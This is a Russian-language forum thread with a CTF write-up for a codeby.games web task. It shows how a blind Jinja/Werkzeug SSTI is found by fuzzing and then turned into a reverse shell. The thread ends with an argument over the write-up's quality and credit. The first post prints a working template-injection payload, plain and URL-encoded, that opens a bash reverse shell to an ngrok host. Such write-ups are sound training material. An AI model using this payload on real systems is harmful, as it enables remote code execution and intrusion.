Codeby Games Минное поле [Writeup]

vov4ick

Green Team
11.12.2022
55
126
BIT
968
Слепая SSTI - Опасные Шаги по Минному Полю

naraliaber_a_person_is_looking_for_bugs_in_the_system_32222e50-52c1-4e41-9183-cd39eca42dbc.png

- Приветствие
- Поиск точки входа
- Получение реверс шелла
- Заключение

Приветствую читателей форума и любителей СTF codeby.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Думаю многие в восторге от этой площадки, и я в том числе.

Поиск точки входа
Первое что мы видим попадая на сайт, это игра сапер, поле с ячейками нажимая на которые мы получаем информацию - Неизвестный идентификатор мяча
Screenshot_18.png


Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке,
ловим запрос и отправляем это в Intruder.
Screenshot_19.png


Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :
Screenshot_20.png


И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.
Screenshot_21.png


Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..
Screenshot_22.png


При отправке запроса в Repeater мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18
Screenshot_28.png

Начинаем гуглить:

Screenshot_29.png

Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE, можно воспользоваться ламерскими программами которые делают это очень просто,
но мы не ищем легких путей.

Получение реверс шелла:
Запускаем Ngrok

Screenshot_25.png


Screenshot_33.png

Включаем слушатель:

Screenshot_31.png


В самом burp мы можем отправить запрос в Repeater и там вставить нашу нагрузку в наш параметр balloon= , выглядеть она будет так:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14362 0>&1'').read()}}

Только в нашем случае нужно сделать url encode:
{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%22%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%36%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%33%36%32%20%30%3e%26%31%27%22).read()}}

Далее мы просто отправляем запрос :

Screenshot_34.png


Бинго! Мы получили наш шелл. Осталось найти флаг, демонстрировать я этого не буду. Он лежит на поверхности, смотрите основную директорию командой ls -la и ищите нужный файл.

Заключение:
Получение RCE через уязвимость SSTI в данном случае говорит о серьезности и опасности этого вектора.
Удаленное выполнение кода - является одной из наиболее серьезных угроз для системы, так как позволяет злоумышленнику выполнить произвольный код на сервере.
Это подчеркивает необходимость тщательной проверки и обработки входных данных, а также безопасности использования шаблонов.
 

Вложения

  • Screenshot_24.png
    Screenshot_24.png
    44 КБ · Просмотры: 197
  • Screenshot_26.png
    Screenshot_26.png
    31,4 КБ · Просмотры: 149
  • Screenshot_27.png
    Screenshot_27.png
    132,3 КБ · Просмотры: 146
  • Screenshot_30.png
    Screenshot_30.png
    3,3 КБ · Просмотры: 86
  • Screenshot_32.png
    Screenshot_32.png
    60,4 КБ · Просмотры: 87
  • Screenshot_34.png
    Screenshot_34.png
    57,5 КБ · Просмотры: 85
Последнее редактирование:

Paladin

Red Team
10.10.2021
102
458
BIT
504
Слепая SSTI - Опасные Шаги по Минному Полю

Посмотреть вложение 73131

Приветствую читателей форума и любителей СTF codeby.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Первое что мы видим это игра сапер, поле с ячейками нажимая на которые появляется надпись:

Посмотреть вложение 73132

Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке, ловим запрос и отправляем
это в интрудер.

Посмотреть вложение 73133
Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :

Посмотреть вложение 73134

И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.

Посмотреть вложение 73136

Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..

Посмотреть вложение 73137

При отправке запроса в рипитер мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18

Посмотреть вложение 73160

Начинаем гуглить:

Посмотреть вложение 73161
Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE в данном случае, и как можно проще. В данном случае я воспользовался SSTIMAP.

Здесь подробно описано что нам доступно, а что нет. OS shell нам ничего не даст в данном случае при слепой технике, а вот реверс шелл то что нам нужно!

Посмотреть вложение 73138

Настраиваем Ngrok и вешаем прослушку

Посмотреть вложение 73157


Посмотреть вложение 73158

Это будет наш ip и port
Далее прописываем команду и получаем наш шелл.

Посмотреть вложение 73159

Оказалось не так сложно. Далее нам нужно найти флаг, показывать я это не буду. Но не уходите в дебри, смотрите основную директорию командой ls -la и ищите нужный файл.
Решений данного таска и инструментов для этого может быть множество, я лишь показал возможный сценарий.
Спасибо за внимание , создателем тасков отдельное спасибо.
Вовчик, вы меня извините, но довольно слабый WRITE-UP. Не написано, как вы получили шелл. Вот ваш предыдущий райтап Codeby Games - Codeby Games - Заметки [Writeup], где все хорошо прописано. Переделайте этот и я его оценю.
 
Последнее редактирование:

vov4ick

Green Team
11.12.2022
55
126
BIT
968
Вовчик, вы меня извините, но довольно слабый WRITE-UP. Вы решили этот таск благодаря статье, которую я накануне написал. Не написано, как вы получили шелл. Вот ваш предыдущий райтап Codeby Games - Codeby Games - Заметки [Writeup], где все хорошо прописано. Переделайте этот и я его оценю.
Я лично не опирался на вашу статью. Прочитал ее после прохождения данного таска. По этому тыкать меня этим не лучший способ показать что мой врайтап слабый.
 

Paladin

Red Team
10.10.2021
102
458
BIT
504
Я лично не опирался на вашу статью. Прочитал ее после прохождения данного таска
Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте доведем этот до ума
 
  • Нравится
Реакции: vov4ick

vov4ick

Green Team
11.12.2022
55
126
BIT
968
Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте довед

Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте доведем этот до ума
Я исправил данную статью, спасибо за то, что мотивируете стараться и делать лучше. В прошлом сообщении вы сослались на вашу статью, и именно указали что я решил таск благодаря ей. Это голословно. Таск был решен до выхода статьи, и я готов отстаивать это. Мне не приятен этот факт с вашей стороны. С качеством статьи соглашусь и впредь буду уделять больше времени на написание.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!